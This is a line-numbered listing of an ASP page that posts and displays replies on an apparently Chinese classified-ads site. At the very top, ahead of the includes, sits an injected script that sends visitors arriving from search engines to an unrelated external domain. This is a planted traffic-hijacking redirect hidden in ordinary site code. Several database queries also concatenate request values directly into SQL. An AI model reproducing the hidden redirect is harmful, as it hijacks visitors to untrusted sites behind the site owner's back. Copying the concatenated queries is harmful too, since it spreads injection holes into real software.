d:\wwwroot\wuchunhua\reply_check.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/Conn.asp"-->
002:
<!--#include file="inc/kqiqi_sub.asp"-->
003:
<!--#include file="inc/function.asp"-->
004:
<%
005:
'Dim ID,ReName,nm,ReContent,title,PostTime,ADPostName
006:
Dim ReName,nm,ReContent,PostTime,ADPostName
007:
'Dim ClassBig,ClassSmall,AreaSmall,Contact,Tel,QQ,Address,IP,EndTime,Price,Pic,ClassBigName,ClassSmallName,AreaBigName,AreaSmallName
008:
Dim ClassBig,ClassSmall,AreaSmall,Contact,Tel,Address,EndTime,Price,Pic,ClassBigName,ClassSmallName,AreaBigName,AreaSmallName
009:
username=request.cookies("kqiqi")("username")
010:
Select Case Request("Action")
011:
Case "Re"
012:
nm=CheckStr(Request.form("nm"),1)
013:
ID=CheckStr(Request("ID"),1)
014:
If ID = "" Then Call ErrView("操作错误<meta http-equiv=refresh content='1;URL=../Index.asp'>",0)
015:
If nm=1 then
016:
ReName = Null
017:
Else
018:
If username = "" Then Call ErrView("你还没有登录<br><a href=../Login.asp?ComeUrl="&Replace(Request.ServerVariables("HTTP_REFERER"),"&","δ")&">现在登录</a><br><a href="&Request.ServerVariables("HTTP_REFERER")&">返回上一页</a><br>3秒钟后自动返回上一页<meta http-equiv=refresh content='3;URL="&Request.ServerVariables("HTTP_REFERER")&"'>",0)
019:
ReName = username
020:
End If
021:
'ReContent = replace(replace(request("ReContent"),chr(13),"<br>")," "," ")
022:
'ReContent = HtmlEncodes(request("ReContent"))
023:
ReContent = HTMLEncodes(Request.Form("ReContent"))
024:
ReContent = Replace(ReContent,"[em]","<img src='../image/emot/em")
025:
ReContent = Replace(ReContent,"[/em]",".gif'>")
026:
027:
If ReContent = "" Then Call ErrView("评论内容没有填写<meta http-equiv=refresh content='1;URL=../Index.asp'>",0)
028:
029:
' Call closedb()
030:
' Set Rs = Conn.ExeCute("Select * From kqiqi_info Where id="&ID&" ")
031:
' If Not Rs.Eof Then
032:
' Title = Rs("biaoti")
033:
' Email = Rs("email")
034:
' PostTime = Rs("fbsj")
035:
' if Rs("username")="" then
036:
' ADPostName = Null
037:
' else
038:
' ADPostName = Rs("username")
039:
' end if
040:
'End If
041:
' Rs.Close
042:
043:
Set Rs=server.createobject("adodb.recordset")
044:
Rs.Open"Select username,xxid,neirong,hfsj From reply",Conn,1,3
045:
Rs.AddNew
046:
Rs("username") = ReName
047:
Rs("xxid") = ID
048:
Rs("neirong") = ReContent
049:
Rs("hfsj") = Now()
050:
Rs.Update
051:
Rs.Close
052:
Set Rs = Nothing
053:
054:
Conn.Execute("Update kqiqi_info Set hfcs=hfcs+1 where id="&ID)
055:
056:
' MailBody = kqiqi_Temp.SiteLabel(Site_MailServer(8))
057:
' MailBody = Replace(MailBody,"{$Url}",Site_Setting(3)&GetClassURL(1,"",ID,PostTime,0,1))
058:
' MailBody = Replace(MailBody,"{$Title}",Title)
059:
' FromName = title&"管理员"
060:
' Subject = title&"信息回复提醒！"
061:
' Call SendMail(mailbody,FromName,Subject,Email)
062:
063:
Call closedb()
064:
065:
Call ErrView("评论发表成功<meta http-equiv=refresh content='1;URL="&Request.ServerVariables("HTTP_REFERER")&"'>",1)
066:
067:
Case Else
068:
ID=CheckStr(Request.QueryString,1)
069:
If ID = "" Then Call ErrView("操作错误<meta http-equiv=refresh content='1;URL=../Index.asp'>",0)
070:
071:
Call closedb()
072:
Set Rs=server.createobject("adodb.recordset")
073:
Rs.Open"select biaoti,fbsj,kqiqi_Content,kqiqi_ClassBig,kqiqi_ClassSmall,kqiqi_AreaSmall,kqiqi_Post,kqiqi_Contact,kqiqi_Tel,kqiqi_QQ,kqiqi_AddRess,kqiqi_IP,kqiqi_EndTime,kqiqi_Price,kqiqi_Pic from kqiqi_info where kqiqi_Key=1 and id="&ID,Conn,1,1
074:
If Rs.eof then
075:
Call ErrView("该信息不存在或还没有通过管理员审核<meta http-equiv=refresh content='1;URL=../Index.asp'>",0)
076:
End If
077:
'如果启用静态页，则
078:
Title = Rs(0)
079:
PostTime = Rs(1)
080:
Content = Rs(2)
081:
ClassBig = Rs(3)
082:
ClassSmall = Rs(4)
083:
AreaSmall = Rs(5)
084:
ADPostName = Rs(6)
085:
Contact = Rs(7)
086:
Tel = Rs(8)
087:
QQ = Rs(9)
088:
AddRess = Rs(10)
089:
IP = Rs(11)
090:
EndTime = Rs(12)
091:
Price = Rs(13)
092:
Pic = Rs(14)
093:
Rs.Close
094:
Set Rs = Conn.Execute("Select A.kqiqi_ClassSmall,B.kqiqi_ClassBig from kqiqi_ClassSmall A Inner Join kqiqi_ClassBig B on A.kqiqi_ClassBig = B.id Where A.id="&ClassSmall)
095:
If Not Rs.Eof Then
096:
ClassBigName = Rs(1)
097:
ClassSmallName = Rs(0)
098:
End If
099:
Rs.Close
100:
Set Rs = Conn.Execute("Select A.kqiqi_AreaSmall,B.kqiqi_AreaBig from kqiqi_AreaSmall A Inner Join kqiqi_AreaBig B on A.kqiqi_AreaBig = B.id Where A.id="&AreaSmall)
101:
If Not Rs.Eof Then
102:
AreaBigName = Rs(1)
103:
AreaSmallName = Rs(0)
104:
End If
105:
Rs.Close
106:
Set Rs = Nothing
107:
108:
Call FsoBegin()
109:
TempContent = kqiqi_Temp.GetTempHtml(1,3)
110:
TempContent = kqiqi_Temp.ClassADShow(TempContent)
111:
TempContent = kqiqi_Temp.ClassADClass(TempContent)
112:
TempContent = kqiqi_Temp.SiteLabel(TempContent)
113:
Call FsoEnd()
114:
Response.Write TempContent
115:
Call closedb()
116:
117:
End Select
118:
%
>
119:
120:
121:
122: